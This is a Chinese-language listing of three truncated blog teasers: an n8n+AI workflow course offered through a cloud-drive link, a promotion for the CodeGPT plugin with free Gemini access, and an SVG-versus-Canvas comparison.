【10章】n8n+AI工作流:从入门到企业级AI应用实战 网 盘 地址:……/s/14l-lQhw9M2TuBny5O4Ru8A 提取码:0hm4 在数字时代的浪潮中,自动化已成为提升效率的关键驱动力。当灵活的n8n工作流平台与强大的人工智能相遇…

CodeGPT AI代码狂潮来袭!个人完全免费使用谷歌Gemini大模型 超越DeepSeek几乎是地表最强

🚀 个人主页 极客小俊 ✍🏻 作者简介:web开发者、设计师、技术分享 🐋 希望大家多多支持, 我们一起学习和进步! 🏅 欢迎评论 ❤️点赞💬评论 📂收藏 📂加关注CodeGPT是什么 CodeGPT是一款基于AI人工智…

svg和canvas的区别

SVG(Scalable Vector Graphics)与 Canvas 是 Web 开发中两种图形技术,其核心差异体现在 ​​渲染方式、交互性、性能表现​​ 等多个维度。以下是基于最新技术标准的深度对比分析:一、核心技术差异​​对比维度​​…